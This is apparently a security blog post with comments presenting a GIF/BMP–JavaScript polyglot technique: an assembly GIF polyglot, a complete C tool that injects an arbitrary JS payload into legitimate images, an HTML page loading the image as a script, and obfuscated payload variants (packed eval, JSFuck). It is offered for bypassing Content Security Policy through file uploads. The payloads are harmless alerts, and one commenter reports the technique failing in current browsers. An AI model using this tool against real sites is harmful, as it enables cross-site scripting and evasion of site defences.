Recently I saw an awesome research by Ange Albertini in abusing a GIF file and injecting JS inside. You can download his code from here The following code is a custom made gif , yet abused by our JS payload.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
; a hand-made GIF containing valid JavaScript code ; abusing header to start a JavaScript comment ; inspired by Saumil Shah's Deadly Pixels presentation ; Ange Albertini, BSD Licence 2013 WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment HEIGTH equ 10 ; just to make it easier to spot db 'GIF89a' dw WIDTH, HEIGTH db 0 ; GCT db -1 ; background color db 0 ; default aspect ratio ;db 0fch, 0feh, 0fch ;times COLORS db 0, 0, 0 ; no need of Graphic Control Extension ; db 21h, 0f9h ; db GCESIZE ; size ; gce_start: ; db 0 ; transparent background ; dw 0 ; delay for anim ; db 0 ; other transparent ; GCESIZE equ $ - gce_start ; db 0 ; end of GCE db 02ch ; Image descriptor dw 0, 0 ; NW corner dw WIDTH, HEIGTH ; w/h of image db 0 ; color table db 2 ; lzw size ;db DATASIZE ;data_start: ; db 00, 01, 04, 04 ; DATASIZE equ $ - data_start db 0 db 3bh ; GIF terminator ; end of the GIF db '*/' ; closing the comment db '=1;' ; creating a fake use of that GIF89a string db 'confirm("Osanda");' |
You can compile the code using yasm.
1 |
yasm –o image.gif code.asm |
Once you give the source as the compiled gif it will be interpreted by the browser.
Can we inject it into legit images? Yes, we can inject it into both gif and bmp images.
In gif images the header would be GIF87a, so if we add GIF87a/*image data*/=1;alert(2);
it will be considered as a JS variable and the image data would be commented out, hence it will be nicely interpreted.
The same can be applied to bmp images as well 🙂 BM/*image data*/=1;alert(2);
Here is a small application which I’ve written to inject JS into legit gif and bmp images.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #define MAX 500 /* Author: Osanda Malith Jayathissa E-Mail: osanda[cat]unseen.is Description: You can hide your JS payload inside a gif or bmp image. Disclaimer: Author takes no responsibility of any damage you cause. Use this for educational purposes only. */ void inject(char * payload, char * fname, char * format) { int src, dst; int firstTimeIn; char myPreviousChar; char myCurrentChar; char newFilename[MAX]; strcpy(newFilename, fname); if (!strcmp(format, "gif")) strcat(newFilename, "_exploit.gif"); else if (!strcmp(format, "bmp")) strcat(newFilename, "_exploit.bmp"); else { printf("[-] Invalid File Format\n"); exit(0); } #ifdef _WIN32 src = open(fname, O_RDONLY | O_BINARY, 0); dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY | O_BINARY, S_IREAD | S_IWRITE); #elif __unix__ src = open(fname, O_RDONLY, 0); dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); #endif firstTimeIn = 1; while (read(src, & amp; myCurrentChar, 1)) { if (firstTimeIn == 1) { firstTimeIn = 0; myPreviousChar = myCurrentChar; } else { if (((myPreviousChar == 0x2A) & amp; & amp; (myCurrentChar == 0x2F))\ || ((myPreviousChar == 0x2F) & amp; & amp; (myCurrentChar == 0x2A))) { myPreviousChar = 0x00; myCurrentChar = 0x00; } write(dst, & amp; myPreviousChar, 1); myPreviousChar = myCurrentChar; } } write(dst, & amp; myPreviousChar, 1); if (!strcmp(format, "gif")) lseek(dst, 6, SEEK_SET); else lseek(dst, 2, SEEK_SET); write(dst, "\x2F", 1); write(dst, "\x2A", 1); close(src); close(dst); #ifdef _WIN32 dst = open(newFilename, O_WRONLY | O_APPEND | O_BINARY, 0); #elif __unix__ dst = open(newFilename, O_WRONLY | O_APPEND, 0); #endif write(dst, "\x2A", 1); write(dst, "\x2F", 1); write(dst, "\x3D", 1); write(dst, "\x31", 1); write(dst, "\x3B", 1); write(dst, payload, strlen(payload)); write(dst, "\x3B", 1); close(dst); printf("\n[+] Successfully written to %s\n", newFilename); } int main(int argc, char * argv[]) { int i; char * fileName; char * format; char * payloadString; printf(" _____ \n"); printf("| |_____ ___ ___ ___ \n"); printf("|- -| | .'| . | -_|\n"); printf("|_____|_|_|_|__,|_ |___|\n"); printf(" |___| \n"); printf("\t _____ _ ___ _ _ \n"); printf("\t| __|_ _ ___| | |_| |_ ___ ___ \n"); printf("\t| __|_'_| . | | | | | _| -_| _|\n"); printf("\t|_____|_,_| _|_|___|_|_| |___|_| \n"); printf("\t |_| \n"); printf("\n[~] Author: Osanda Malith Jayathissa\n[~] E-Mail: osanda[cat]unseen.is\n"); if (argc != 7) { printf("\n[-] Usage: %s -i <image file name> -f <gif or bmp> -p <payload string> \n", argv[0]); return 1; } for (i = 1; i & lt; argc; i++) { if (!strcmp(argv[i], "-i")) fileName = argv[i + 1]; if (!strcmp(argv[i], "-f")) format = argv[i + 1]; if (!strcmp(argv[i], "-p")) payloadString = argv[i + 1]; } inject(payloadString, fileName, format); return 0; } /*EOF*/ |
https://github.com/OsandaMalith/ImageExploiter/blob/master/imgexploiter.c
1 2 |
cl image.c ./image –I yourimage.bmp –f bmp –p prompt\(1337\) |
Create a new HTML page to test this as
1 2 3 4 |
<html> <img src=”yourimage.bmp_exploit.bmp”> <script src=”yourimage.bmp_exploit.bmp”></script> </html> |
Our payload is nicely placed at the end of image file like this
You could always obfuscate the code 😉
1 |
var _0xf1cf=["\x6F\x73\x61\x6E\x64\x61"];alert(_0xf1cf[0]); |
1 |
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0(\'1\');',2,2,'alert|osanda'.split('|'),0,{})) |
1 |
alert((!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]) |
This might come in handy when you are pentesting in scenarios where there is a Content Security Policy (CSP) which would deny you to load external sources and if the application has file upload features with a WYSIWYG editor, you could exploit this weakness in gif and bmp 🙂
I’d be very grateful to Dimitrios Kalemis for his continuous support in my journey to low level 🙂
Here is a short demo
http://seclist.us/imageexploiter-hide-your-js-payload-inside-a-gif-or-bmp-image.html
Damn bro this is one hella of a program keep it up! Love your work!
Wow Amazing . Keep it up bro. I m going to test and feedback you again . Love ya!
It is great .. keep it up ..
compiled this in VS2013 and it compiles and runs, created both a gif and bmp to test with, both display as images correctly but neither run as scripts on the page. Tested in latest IE and Chrome.
Seems to look correct in the file as well, I see the end comment */ and then the =1, and then ;alert(1);, tried prompt and javascript:alert(1);, nothing seems to work.
Hi dear,
I like this post and appreciate your work.
it is not creating the image???
You have to input the image, it will write the payload to the image.